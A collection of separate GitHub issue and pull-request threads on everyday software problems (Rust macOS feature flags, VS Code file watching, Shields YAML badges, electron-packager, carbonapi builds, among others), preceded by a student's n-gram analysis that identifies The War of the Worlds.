Mystery Text Discussion: ww.txt

Post your screenshots and discuss your findings about ww.txt here!

Alright this text was interesting because at first glance I had no idea what it was about, or could discern any notable details to guess the book. That was until I got to n-gram size 6.

The most interesting phrase I saw was the sound of ulla ulla ulla. So I did a KWIC search of just ulla ulla ulla.

Hmmm, again nothing that stands out, except maybe red vegetation. Could we be on another planet? Anyways I lowered the n-gram size until 3. Which came up with something very interesting:

Very interesting! We have some more details, Martians, red vines, heat rays. Okay! Now I know the book is most probably a Sci-Fi fiction of some sort.

Here I see alot of sentences that depict some sort of conflict with these Martians, plus THE DAYS OF IMPRISONMENT kinda seals the deal. This book is Sci-Fi with Martians, and a conflict.
The only novel that fits this bill is:

Spoiler warning
The War of the Worlds

- What ngram sizes give you frequency counts above 5?
5 and below
- What ngram sizes give you frequency counts in the double digits?

4 and below

- What phrases get repeated a lot in this text?

the edge
ulla ulla ulla ulla
of the martians
of the pit
the red weed
the heat ray

- Try limiting the results to only those that occur more than 5 or 10 times. Experiment to see what you can see.
5 times –  4 ngram

10 times – 4ngram

- Choose some ngram clusters of interest and explore them in their KWIC (Keyword in Context) view to scope the words before and after. Think about what you're seeing: what questions or ideas do you have about this text based on what you are seeing?
"ulla ulla ulla ulla”
I was very curious what this repeating phrase could mean. After seeing the context, I’m still unsure although the main character seems to be as well. I’m guessing it’s connected to the Martian language.

“the edge of the pit”
I assumed the pit would be some menacing and dangerous presence, but rather it seems like an important communal spot for the martians.

- In the Issue for your text, write a paragraph or two about your findings. What you have discovered so far about the text you worked with? Post your screen captures in the GitHub Issue to illustrate your commentary. Also, take a look at what your peers are posting about the text and join in a conversation about it: What guesses, questions, and ideas are you developing about your text?
From the common ngrams of this text, I assume it is a science fiction work that takes place on Mars and involves advanced aliens that have their own society. Initially, I thought it might have some horror elements, however, it seems like that is not the case. The work seems very descriptive as nearly all the common repeating ngrams are establishing the setting.  I can also see that the work is in first person and the narrator seems to be the only human around. There is a lack of dialogue, but lots of inner monologuing. While I see the Martians being referenced constantly, I don’t see mentions of Mars itself and I wonder if the main character is even on the planet. If the Martians are indeed friendly as I am presuming, I’m curious what the driving plot force is.


Is there a better approach than the minimum OS version feature flags?

There have been some occasions where people introduce new APIs but forget to properly specify the respective supported OS or minimum OS version, which is understandable because it's easy to get wrong. I wouldn't be surprised if there were APIs in use today that aren't behind the correct feature flags.
Off the top of my head there might be two ways to improve the situation:

Make use of -mmacosx-version-min and related flags to get compile time warnings (ideally errors?) about using APIs which won't be available for the target. If this an improvement, how can we make it easy for users of the crate to use this approach? Are there any issues regarding cross compilation?
Perhaps bindgen could be extended to expose availability info and create feature flags for the rust implementations?

If anyone has thoughts or other suggestions I'd love to hear them.

I don't think Rust is aware of macOS targets. AFAIK it doesn't set -mmacosx-version-min. I guess a crate could try to get MACOSX_DEPLOYMENT_TARGET env var, but that may need build.rs, and it's a bit magical. Crates can't set env vars themselves in something like Cargo.toml, so not setting the right target could break builds.
Overall, I don't think feature flags are that bad.
I think it could be improved by sprinkling #[doc(cfg(feature = "OSX_10_ZZ"))] in the code so that docs.rs will show which flags are needed.

Yeah, that makes sense.
How about a CI job to build the crate with the -m<os>-version-min flag and relevant feature flag set, with warnings set as errors? That should hopefully give early feedback on mistakes.

Do you mean detecting feature errors in security-framework itself, or other crates using it?

Yeah, just in this crate

Yeah, that may be doable.
GitHub actions doesn't support older versions of macOS, so it's not easy to test on the actual OS, but basic test with MACOSX_DEPLOYMENT_TARGET can work.


Issue #124 : Contribute in Java

resolves #124 pdfViewer in Java

empty file @jaichiranjeeva

empty file @jaichiranjeeva

My bad . Now I've it Uploaded properly @ndrohith09


Fix to enable \* syntax for using a single tab in multiple places

A little-known feature of DocuSign is you can actually use a single tab label to prefill multiple fields on the same document. For example, you may need to put a signer's phone number in multiple fields. You can do this by setting those fields to the same data label in the template. Then, when you set a value for that tab in the API, you need to prefix the tab label with "\*". However, this doesn't work with the current c# library because the functions end up trying to escape that string with an extra set of "\."
This pull request is a potential fix to this, although it feels like a hack to me to just un-escape the \* tabs, so if someone else can figure out a cleaner way, go for it.
Credit to: http://stackoverflow.com/questions/26320678/docusign-how-to-prefill-multiple-text-tabs-with-the-same-label-in-xml

This is no longer needed. Just use a single backslash plus asterisk, and it should work automatically.


Value enum vs protocol

What's the reasoning behind the use of enum Value here vs. protocol Value in Fluent?
Parsing database results returned as enums is a pain - do I really have to switch on every entry in order to bind a variable to the correct type, or is there a better way to handle this?
Example:
let results = try mysql.execute("SELECT name FROM user")
let entry = results[0]
if let name = entry["name"] {
    switch name {
        case let .string(myName):
            // Finally we have our property as a String
            ...
        default:
            ...
    }
}
// And we repeat for every property fetched

You can add an extension to make casting easier. This should probably be included in the main repo.
Like this:
public var string: String? { // do the switch in here }
}```

This library wasn't really meant to be directly accessed by end users. Hopefully there would be an ORM or some other convenience layer in between (as in the case of Fluent). For that reason, I didn't prioritize convenience accessors.


chore: update changelog and merge #93 from master

This PR updates the changelog and  merges master #93 to develop.
No idea how 93 slipped through 🤷♂
What kind of change does this PR introduce?

[x] Documentation

Does this PR introduce a breaking change?

[ ] Yes
[x] No

Does this PR release a new version?

[ ] Yes
[x] No

If yes, please describe the impact and migration path for existing applications:
The PR fulfills these requirements:

[x] It's submitted to the develop branch, not the master branch
[x] All tests are passing
[ ] New/updated tests are included

The date also needs to be updated, still says ## [0.6.0] - 2019-07-01.

Codecov Report

Merging #113 into develop will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff            @@
##           develop     #113   +/-   ##
========================================
  Coverage    91.52%   91.52%
========================================
  Files           30       30
  Lines          861      861
========================================
  Hits           788      788
  Misses          73       73

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update afcd2d3...44894e5. Read the comment docs.


node_modules not showing up

Issue Type: Bug

npm install
delete node_modules (right click -> Delete)
watch node_modules disappear
npm install
watch node_modules not showing up in folder hierarchy
restart VS Code
watch node_modules show up

VS Code version: Code 1.45.1 (5763d909d5f12fe19f215cbfdd29a91c0fa9208a, 2020-05-14T08:33:47.663Z)
OS version: Darwin x64 19.4.0

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz (8 x 2200)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmetal: disabled_offmultiple_raster_threads: enabled_onoop_rasterization: disabled_offprotected_video_decode: unavailable_offrasterization: enabledskia_renderer: disabled_off_okvideo_decode: enabledviz_display_compositor: enabled_onviz_hit_test_surface_layer: disabled_off_okwebgl: enabledwebgl2: enabled

Load (avg)
5, 4, 3

Memory (System)
16.00GB (1.32GB free)

Process Argv

Screen Reader
no

VM
0%

Extensions (8)

Extension
Author (truncated)
Version

vscode-eslint
dba
2.1.5

es7-react-js-snippets
dsz
2.7.1

gitlens
eam
10.2.1

prettier-vscode
esb
4.7.0

swift
Kas
0.2.0

syntax-project-pbxproj
mar
0.1.3

theme-monokai-pro-vscode
mon
1.1.15

vscode-import-cost
wix
2.12.0

VS Code is using different file watching strategies depending on your OS and your setup.
First thing to check:

[ ] I verified that the issue still reproduces in our insiders version (https://code.visualstudio.com/insiders/)
[ ] I verified that this issue is happening outside of a node_modules folder. Our file watcher ignores this folder!

To find out more about this issue, please first answer this:

[ ] What OS are you on
[ ] Does this happen from an empty workspace, a single-folder workspace or a multi-root workspace?
[ ] Do you have files.useExperimentalFileWatcher: true configured in settings?
[ ] What is your configured files.watcherExclude setting?

Then please answer the following depending on your setup:

[ ] It reproduces with any folder or workspace you open
[ ] The files/folders you open are on your local disk and not on a network share nor a UNC drive
[ ] The files/folders you open are not behind a symbolic link
[ ] The folder(s) opened use the exact same casing as they are on disk
[ ] It reproduces when I make a change to the file from another VS Code window (either from the editor or the file explorer)

Then please attach the output of our development console

run code --verbose from the command line
perform the action that causes you to not see the file change in VS Code
attach the output from the console (Help > Toggle Developer Tools > Console)

Thanks for taking the time to fill out this questionnaire.


Add date attribute to BasicAer job result

What is the expected enhancement?
This is a practical improvement because it aligns the API with AerJob. It is also required according to https://arxiv.org/abs/1809.03452. See https://github.com/Qiskit-Partners/mthree/issues/94 for context.

The job objects in terra are explicitly decoupled from that specification. It has been since JobV1 was introduced in #5086 which made the provider interface a terra construct and not a leaky object model abstraction of the IBM quantum API json payloads. As we improve the interface between qiskit and backends the object models become increasingly vendor agnostic and qiskit specific (for example if you look at BackendV2 it has very little in common with that spec). If you want a standard date attribute as part of the job object that will need to be added to the abstract interface. However, for compatibility reasons if you want to make this a required field it would have to be part of JobV2 we can start drafting, there is a wish list of things that will happen as part of the that effort (like flattening the job and result objects). I think we can transform this issue into a tracking one to add a JobV2 interface that defines a better interface for job and result management and not specifically about adding a date field to basic aer.
As a random aside I also don't understand the use case for mthree  with basic aer, basic aer doesn't have any noise so you have no errors to mitigate.


Error handling for not existing record

Fixes Issue
Closes #2
Changes proposed

Add error handling for record not existing

Check List (Check all the applicable boxes)

[x] My code follows the code style of this project.
[ ] My change requires changes to the documentation.
[ ] I have updated the documentation accordingly.
[x] All new and existing tests passed.
[x] This PR does not contain plagiarized content.
[x] The title of my pull request is a short description of the requested changes.

Yaasss! Cheers on fixing one of our biggest issues! Thank you so much for your help on this Cristian :tada: YOU ROCK!

There is still room for improvement, for instance, check the validity of the field to not be empty before submitting, etc.
I'll check into it better and create issues.


feat: CODEOWNERS

Closes #133

#147  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @tazarov and the rest of your teammates on  Graphite


rule: react/filename-extension

This PR implements the rule jsx-filename-extension.
It's still a work in progress because the current implementation doesn't check function components.
I was wondering if it would be useful to have an utility function that checks that

Looks good! Thank you!

I feel like this rule should not check for React at all, and should instead only check for the presence of JSX (regardless of whether it's a component or not.)

  I will review the logic, make it agnostic and move it under 'jsx-a11y' category. It makes more sense

This isn't related to accessibility so we might want just a jsx lint category. I can imagine some other rules we'd want to have there.

@sebmck agreed; lots of the rules in the react package are really JSX-specific. I’ll open a PR to reorganize accordingly. This is another deviation from the upstream ESLint rules and their organization that I think makes sense and improves clarity.

Related: https://github.com/romejs/rome/pull/675

@ematipico I went ahead and cleaned up a general JSX-catching rule that I had locally and pushed it up at https://github.com/romejs/rome/pull/680. The approach there isn't tied to React components and should be a bit more agnostic: it checks for any JSX element, and raises a diagnostic if the current file extension is not .jsx or .tsx. Let me know what you think.

Yeah I'd say we can close this one in favor of yours!


Mod broken with update <IP_ADDRESS>92

[Error  :DSP Infinite Resource Nodes] ERROR: The Dyson Sphere Program appears to have been updated.  The Infinite Resource Nodes mod needs to be updated.  Until then miners will consume node resources.
[Error  :DSP Infinite Resource Nodes] ERROR: The Dyson Sphere Program appears to have been updated.  The Infinite Resource Nodes mod needs to be updated.  Until then oil extractors will consume crude oil seep resources.

Fixed in version 1.2.2


Example specification petstore.json is not compliant with the OpenAPI specification 2.0

This fixes a validation error of petstore.json against the OpenAPI specification 2.0. petstore.json will pass a validation against the OpenAPI specification 2.0.

Right you are!  Thanks


Add [dynamic-yaml] badge

This PR closes #1617 by adding support for a dynamic YAML badge.
I have added js-yaml to handle the YAML parsing, but then the rest of the work has mostly been duplicating the JSON dynamic badge as YAML is just a superset of JSON.
I've tested it locally and run the test suite with no issues showing in the tests I added.
Please let me know if there is anything you want me to change.

Warnings

:warning:

This PR modified package.json, but not package-lock.json - Perhaps you need to run npm install?

Messages

:book:

:sparkles: Thanks for your contribution to Shields, @jacobtomlinson!

:book:

Thanks for contributing to our documentation. We :heart: our documentarians!

  Generated by :no_entry_sign: dangerJS

I thought it was valid to leave the JSON tests as JSON is valid YAML. I can definitely add more which explicitly tests the YAML syntax.

I have updated the tests to use a YAML data source and added yaml to the list of options in the dynamic badge maker as requested.
Please let me know if there is anything else you need me to change.

JSON is valid YAML?! Mind = blown 😀
Thanks for the updates. I'll give this another read, and perhaps someone else would like to as well.

Thanks for the review comments @platan. I'll get this PR updated later on with the request changes.

@platan I have made the changes!

@jacobtomlinson thanks for fixes. That was quick! The code looks great in my opinion.
I have one extra thing. What would we like to see as a badge value when resource is not a valid yaml file? Something simple like invalid (https://github.com/badges/shields/blob/master/doc/service-tests.md#tutorial)? Currently we have such result for https://www.google.com/robots.txt
YAML:

JSON:

And for https://img.shields.io/badge/x-y-z.png
YAML:

JSON:

XML badge returns
 for both resources.
@paulmelnikow @RedSparr0w What do you think about this?

A consistent error message would be good. I think invalid would be fine but not sure if it accurately describes what the problem is. Perhaps something like invalid data source, parse error or load error would be more useful when troubleshooting.
Happy to go with whatever you think. Do you want me to implement it for all three dynamic badges in this PR or raise a new PR for it?

@jacobtomlinson I agree with you, invalid data source or parse error is better than invalid. In my opinion we can merge this PR and prepare a separate one for handling parsing errors. Let's wait for opinion of the rest of the team.

Sounds good to me, I originally left it as the default error message so the user could try and fix the badge/problem themselves, but I think something like 'invalid json', 'invalid source', 'parse error' would work better

My preference would be invalid json / invalid xml / invalid yaml which is terse and consistent with other badges.

@RedSparr0w or @paulmelnikow can you approve this PR? Then we could merge it and new PR with a better error message can be raised.

I have removed the extra tests and added the MIME types as suggested by @paulmelnikow.
I have also merged in the latest master and run npm install again to generate a new package-lock.json which resolves the merge conflicts it was complaining about.
Should be good to merge now!

@jacobtomlinson Thanks for your contribution and your patience 👍 Would  you like to prepare a next PR with an error message when data source is invalid? You could try with messages proposed by Paul (https://github.com/badges/shields/pull/1623#issuecomment-377796115).
@RedSparr0w Thank you for a review.


question for the derivative for initial value

Hi, I read the paper and also the code. I am a little confused about the derivative for the  initial value x_0. How to understand this value and the corresponding code?  Thank you very much!

In our experiments, we fixed x_0 to be the first observation itself. Forward sensitivities could also be computed for x_0. Check ode_sens and ode_kernelsens here.


Add-on crashed & set IP check isn‘t working

Hey there,
the Add-on crashed sometimes. The second Problem is, I cant set the seconds to check a new IP. It remains at a 12-hour interval.
Debug Log will be submitted later:
# INFO: Using main config file /data/workdir/config ERROR: Problem connecting to server (get for https://acme-v02.api.letsencrypt.org/directory; curl returned with 6) EXPECTED value GOT EOF
s6-rc: info: service legacy-services: stopping s6-rc: info: service legacy-services successfully stopped s6-rc: info: service legacy-cont-init: stopping s6-rc: info: service legacy-cont-init successfully stopped s6-rc: info: service fix-attrs: stopping s6-rc: info: service fix-attrs successfully stopped s6-rc: info: service s6rc-oneshot-runner: stopping s6-rc: info: service s6rc-oneshot-runner successfully stopped

+1, happened on my installation couple of times already


Cosmos DB trigger - Unmodified docs

Is there anyway to get unmodified documents. Want to call api based on some property changes in the document. Would be helpful, if get the unmodified docs.  Currently we get only modified docs.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 490a08fe-c26e-6cae-5495-0b4f4e71e35d
Version Independent ID: 79432f02-5059-2627-11e3-eccaf1109665
Content
Content Source
Service: functions; cosmos-db

Thanks for your feedback. We will investigate and update on it soon.

@rcsprakash In Visual Studio, while in edit mode, I believe there will be a drop-down list of possible valid options. The image in this document shows Visual Studio Enterprise be used, and if the cursor is placed in the Bold part, you should get more informatoin.
{
Log.Verbose(“Documents modified “ + input.Count);
Log.Verbose(“First document Id “ + input[0].Id);
}
I have assigned to this the content author @ggailey777 who might be able to better clarify. If not, then I would suggest submitting a forum post on Stack Overflow as the community there will likely be able to help.

@rcsprakash the trigger is designed to pull modified documents. If you just want to run ad-hock queries against all documents in the database you will need to create and use a Azure Cosmos DB client for your specific language from inside your function code. You can see an example of creating a client (C#) here. For other Azure Cosmos DB questions, I suggest you try the Azure Cosmos DB forum or Stack Overflow.
#in-process

@ggailey777 I don't want to access all the documents from cosmos db.  My requirement is different, I want to compare the modified document with its previous status, so that I can identify which property of the document got changed exactly and do some process based on that. Like in SQL magic tables(inserted&deleted) used in SQL trigger. Do we have anything like that in COSMOS DB?

I'm not sure if the Cosmos DB change feed supports that scenario, which is what Functions uses. Your best bet would be to post your question in the Azure Cosmos DB forum.

#please-close

Haven't get any solution for my query. Don't know will get in future.

@rcsprakash did you ask in the Cosmos DB forums or on Stack Overflow?


If you are referring to https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur , then perhaps already available as https://caniuse.com/#feat=svg-filters ?

Yup, already covered by https://caniuse.com/#feat=svg-filters


symlink dereference added

Hi,
This pull request adds a new option dereference which is passed to the options.dereference in https://github.com/AvianFlu/ncp. This allows the build to copy symlinked resources as regular resources to the final directory.
This is very helpful when you have your node_modules and bower_components are symlinked from the other directories.
Default value is false as ncp

Great idea! Please check that this passes npm test and then rebase against master

instead of specifically passing dereference we should just have a way to pass a custom ncp options object in, that way we can just support 100% of ncp options

Actually, what about just passing dereference by default? If you're packaging up an electron app, presumably you're going to distribute it somewhere, and that system probably doesn't care about your symlinks. Copying the files is the only logical thing you would want to do when packaging them.
As for exposing all of ncp options, I'm -1, because I don't think that implementation detail should be exposed.

@jden good point, +1

:+1: what @jden said.

@jden thats a good point, i am up for having the deference as a default option.. so https://github.com/maxogden/electron-packager/pull/43 is a right way to go


Align the format scripts and prettier configs

So that one can get correct formatting on save in for instance vscode.
It seems prettier and the options set in format scripts are not the same.

According to Prettier docs:

It’s better to use a configuration file for formatting options like --single-quote and --trailing-comma instead of passing them as CLI flags. This way the Prettier CLI, editor integrations, and other tooling can all know what options you use.

So I am thinking lets use default prettier on the whole code base.


Dynamic SVG Load demo broken in FF

Receiving the following exception when loading the page:
Error: Provided selector is not an HTML object nor String
Browser: Firefox 35.0.1
Tested in Chrome and it works fine.

Fixed with v3.1.2


[Code Defect] Table 37 "Sales Line" - wrong field for CheckAssocPurchOrder

Hi,
On Table 37 "Sales Line" OnValidate of field 5711 "Purchasing Code" following code is calling CheckAssocPurchOrder function:
CheckAssocPurchOrder(FieldCaption(Type));
Please change it to the correct one:
CheckAssocPurchOrder(FieldCaption("Purchasing Code"));

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


Selecting a room in the search form should display the correct floor on the map

Isn't this already the case in #248?


Reducing font size

Hello,
First, thanks a lot for what you've done, it's really helpful for a newcomer to jekyll ! Especially for typography and vertical rythm.
Now, I find that the maximum font size is too big (it's like 30px line height) : I want to show some code, and I think it requires too much scrolling for the reader.
I would like to use the second biggest font size. I figured out it has something to do with the breakpoint properties but I cannot find how you configure it.
Could you help me ?
Thank you ;)

@niahoo thank you very much for the kind words! Glad the typography works for you, it's one of the more difficult things to get 'just right' in web design.
Have you changed the font for your project? You might want to set a new cap-height to match the custom font. Use this tool to find out the cap height of the font you're using https://codepen.io/sebdesign/pen/EKmbGL
If you want to just scale down all the typography, then you might want to check out this comment.

Ho I forgot to check the closed issues ! I can do what I want now :)
My font s


NTR: icSHAPE Assay

Project: ENCODE
So - we are working with a new High Throughput Sequencing Assay: icSHAPE, that captures RNA secondary structure.
NTR: "icSHAPE"
Editor preferred term: "icSHAPE"
Alternative terms: SHAPE-Seq, NET-Seq
Textual definition: icSHAPE provides accurate predictions of RNA-protein interactions and m6A modification in vivo by combining SHAPE-Seq with click chemistry for enhanced isolation. , Secondary RNA structures are modified by the addition of a custom 2-methylnicotinic acid imidazolide (NAI) probe, termed NAI-N3. The modifed RNA is marked selectively with dibenzocyclooxtyne (DIBO)-biotin through copper-free click chemistry, enabling purification by streptavidin pull-down. Briefly, NAI-N3 is added to RNA in vivo to mark it selectively for DIBO-biotin tagging. The cells are lysed, the RNA is poly(A)-selected, tagged with DIBO-biotin, and fragmented. The RNA strands are 3'-end-repaired with T4 PNK and ligated to 3' adapters. After size-selection, the RNA strands are reverse-transcribed, and both the RNA and first-strand cDNA are captured on streptavidin beads. Another cDNA size-selection step is carried out before circularization and PCR amplification. The samples are ready for NGS.
Definition source for the textual definition: https://www.illumina.com/science/sequencing-method-explorer/kits-and-arrays/icshape.html
Logical definition (or parent term):
Example of usage: The icSHAPE library was sequenced on the Illumina platform
Term editor: Carrie A Davis

I'm reviewing your old requests and am glad to create a few this week if you can help prioritize.

We would like to prioritize this request along with the ATAC-seq assays.

May have been added to OBI but with a label other than icSHAPE


📝 Add gen test documentation generation

Hi @hwwhww 🖖
The goal of this PR is to propose a generator of test documentation for this repo.
This code is a copy/paste (with adaptations) of the execution-spec-tests of the gen_test_case_reference.py` file. It generates markdown file from tests usable for the documentation website.
How it works:
It looks for test files at tests\core\pyspec\eth2spec\test and generate a documentation with a command line to be used to run the tests.
Any docstring in a test will be displayed (there is no docstring for the moment).
In the CD, it will generates a folder tests in  in docs/ with the below structure:

Issue
For the moment, I can't figure how to make the import from tests.core.eth2spec.test.helpers.constants import ALL_PHASES without pycharm; maybe we will have to move this code to the tests folder. If you have an idea I will take it.
TODO:

[ ] enable CD (build docs/tests within the Github Action)
[ ] refacto variable names (for instance fixture is not a word used in consensus-specs)
[ ] tests ?

@wenceslas-sanchez

For the moment, I can't figure how to make the import from tests.core.eth2spec.test.helpers.constants import ALL_PHASES without pycharm; maybe we will have to move this code to the tests folder. If you have an idea I will take it.

What do you mean by pycharm (IDE?) here?
I think of two solutions:

We can install pyspec during building docs: move gen_test_case_reference.py to consensus-specs/scripts folder. You can pick the code from #3355, where I created a requirements.txt so we can install the package with pip3 install -r requirements.txt command.
If ALL_PHASES is the only variable we need... maybe write a parser to get all SpecForkName(<VALUE>) values? Hacky though 😅

ip3 install -r requirements.txt

I think the first option is the easiest; that's what I implemented within the .github/workflows/docs.yml. Do you have a way to test the CD ?

@wenceslas-sanchez

Do you have a way to test the CD ?

Unfortunately, not an elegant way: I tested it with my personal repo GitHub Pages. 😓
Basic setting as below:

@wenceslas-sanchez

Do you have a way to test the CD ?

Unfortunately, not an elegant way: I tested it with my personal repo GitHub Pages. 😓
Basic setting as below:

I tried within my local version of the repo, but I can't find a way to generate the documentation. That's because I fail to install './[test]' for eth2spec.
If we run this pip install -r scripts/requirements.txt, we have this error; the subprocess can't install ruamel.yaml
Even forcing the install of ruamel + marko, we still have the issue but for marko only now ... see this error
Since you interacted a lot with setup.py within Github Action, maybe you will find the issue ...


It can't find the proccesor

https://imgur.com/9RxLOSL

Hi!
It looks like you are missing the nametags for your parts, you can refer to
the link below on which parts require changing name tags.
https://acr8133.github.io/TUNDRA-Launch-Script/
You can DM me on discord if you need further assistance: ACR#8397
,Thanks!
On Sun, May 30, 2021 at 4:42 AM bchowning @.***> wrote:

[image: KSP error]
https://user-images.githubusercontent.com/3986879/120084272-6ceb8800-c094-11eb-9f84-ef14952ff540.png
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/acr8133/TUNDRA-Launch-Script/issues/1#issuecomment-850895930,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AHC2QCVZPZ4LCZ2H4YWOVRDTQFGTLANCNFSM45YT6SEA
.


Directions on how to run this code.

Having trouble understanding how to run this code, i keep getting undefined errors.
vagrant@ops-ubuntu-14:$ go run main.go
command-line-arguments
./main.go:54: undefined: bytesCache
./main.go:143: undefined: truthyBool
./main.go:152: undefined: truthyBool
./main.go:192: undefined: dateParamToEpoch
./main.go:193: undefined: dateParamToEpoch
./main.go:199: undefined: metricData
./main.go:201: undefined: metricRequest
./main.go:201: undefined: metricData
./main.go:205: undefined: parseExpr
./main.go:205: too many errors`

Please use go build to generate the binary. Note you must also have a carbonzipper / carbonserver setup.

I'm running this but still get an error.
go get -u github.com/dgryski/carbonapi
./png.go:216: undefined: draw.Point
./png.go:217: undefined: draw.Point
...

Looks like a valid issue because https://github.com/gonum/plot/blob/master/vg/draw/canvas.go does not have a type Point that https://github.com/dgryski/carbonapi/blob/8af3697dac909a184b1376508b79bda0c3085c64/png.go#L216 refers to.
It looks related to https://github.com/gonum/plot/pull/261/files#diff-1318fd408b6d3ed0d6f955e9771b68e3L673.

Grr.  We run with the cairo backend in production :/
I'm seriously tempted to remove the plot backend, since it was an experiment that never got enough love.  Once we had the cgo bindings to cairo, that's where all the development went.

@dgryski Are you aware of any other alternatives that we could use, or would you be able to try to fix this in a month or two? Not trying to be pushy, just trying to understand a timeline if there is one.  :)

Do you specifically need the graph rendering code?  If not, it's easy to write a null PNG rederer backend that just reports a "not supported" error, and then you can build with that instead of the broken PNG backend.
If you need graph rendering, I suggest you use the cairo backend.
As I said, I'm tempted to remove the pure-Go PNG rendering code..

we do not need the graph rendering code. do you happen to have the null PNG renderer written?


Implement update status for rules representing custom tasks

Also make 'Checking Swift Compiler Version' not show its status (SwiftPM expects it that way).
rdar://82651879

@swift-ci please test


Sorry we didn't find that app error

I get the following error when following the steps provided here. "Sorry we didn't find that app" Session ID: 9a39aba4-57de-4d19-b927-eda41ceff77e
When creating the Canvas app I can see the data from the entity in Dynamics which leads me to believe up to the point of publishing, it is all working as expected. After save and publish of the app and the form in D365 I get this after about 2 seconds of the app trying to load in the section on the form.

Document details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d21a753e-4f2f-941f-8ec9-40891a5ebbe6
Version Independent ID: 63740fcb-c081-6225-9fc5-8600c03125fb
Content: Pass the current record as data context with an embedded canvas app - PowerApps
Content Source: powerapps-docs/maker/model-driven-apps/pass-current-embedded-canvas-app.md
Service: crm-online
GitHub Login: @aneesmsft
Microsoft Alias: matp

Were you using the same user/account to see at run time as authoring? If you were, can you check to see if the app was created in the right solution (same as the form it is embedded in)?


Symbolic link issue

Linking animepahe-dl.sh somewhere (~/.local/bin) and using that breaks it:

The error:
/home/me/.local/bin/animepahe-dl: line 159: /home/me/.local/bin/bin/getCFcookie.js: No such file or directory
[ERROR] Cannot fetch cf_clearance from https://kwik.cx/f/cBEjXgGPcFM2!

I'd suggest to add animepahe-dl directory path in Shell $PATH. It will solve this missing file issue.

I'm better off with an alias. You can make things relative to the script instead of using $_SCRIPT_PATH. If not, please feel free to close the issue as a won't fix.

Ok, understand. It should be easy to resolve symbolic path. Let me check.

Fixed! Please give it a try.


Fails out of the box running in docker container

I am running the starterkit inside a ubuntu based docker container started using vagrant and I get the following error when running 'npm run watch'. Everything up until then is fine. I have a forwarded my port 8084 on my host to 8080 and can see the dist folder when I navigate to localhost:8084. I also tried navigating to http://localhost:8084/webpack-dev-server and can see the text 'client.js' and
'client (magic html for client.js) (webpack-dev-server)' text on the page .  How should I be able to access the client app?

concurrent --kill-others 'npm run watch-client' 'npm run browser'

[0]
[0] ><EMAIL_ADDRESS>watch-client /vagrant
[0] > webpack --verbose --colors --display-error-details --config webpack.client-watch.js && webpack-dev-server --config webpack.client-watch.js
[0]
[0]
[1]
[1] ><EMAIL_ADDRESS>browser /vagrant
[1] > sleep 2; concurrent 'npm run start' 'npm run localhost'
[1]
[1]
[1] [0]
[1] [0] ><EMAIL_ADDRESS>start /vagrant
[1] [0] > NODE_PATH="./src" node ./babel.server
[1] [0]
[1] [0]
[1]
[1] [1]
[1] [1] ><EMAIL_ADDRESS>localhost /vagrant
[1] [1] > sleep 1; which open && open http://localhost:8000
[1] [1]
[1] [1]
[1]
[0] Hash: 7e88b7dd75215e30070f
[0] Version: webpack 1.8.10
[0] Time: 4193ms
[0]     Asset     Size  Chunks             Chunk Names
[0] client.js  1.06 MB       0  [emitted]  main
[0]    [0] multi main 52 bytes {0} [built]
[0]     + 288 hidden modules
[0]
[1] [1] /bin/open
[1] [1]
[1]
[1] [1] Couldn't get a file descriptor referring to the console
[1] [1]
[1]
[1] [1]
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  Linux 3.13.0-49-generic
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]
[1]
[1] [1] argv
[1]
[1] [1]  "/usr/local/bin/node" "/usr/local/bin/npm" "run" "localhost"
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]
[1]
[1] [1] node
[1]
[1] [1]  v0.12.2
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]  v2.7.4
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]
[1]
[1] [1] code
[1]
[1] [1]  ELIFECYCLE
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]<EMAIL_ADDRESS>localhost: sleep 1; which open && open http://localhost:8000
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  Exit status 1
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  Failed at the<EMAIL_ADDRESS>localhost script 'sleep 1; which open && open http://localhost:8000'.
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  This is most likely a problem with the react-isomorphic-starterkit package,
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  not with npm itself.
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  Tell the author that this fails on your system:
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]      sleep 1; which open && open http://localhost:8000
[1] [1]
[1]
[1] [1] npm
[1] [1]
[1] [1] ERR! You can get their info via:
[1] [1] npm ERR!     npm owner ls react-isomorphic-starterkit
[1] [1] npm ERR! There is likely additional logging output above.
[1] [1]
[1]
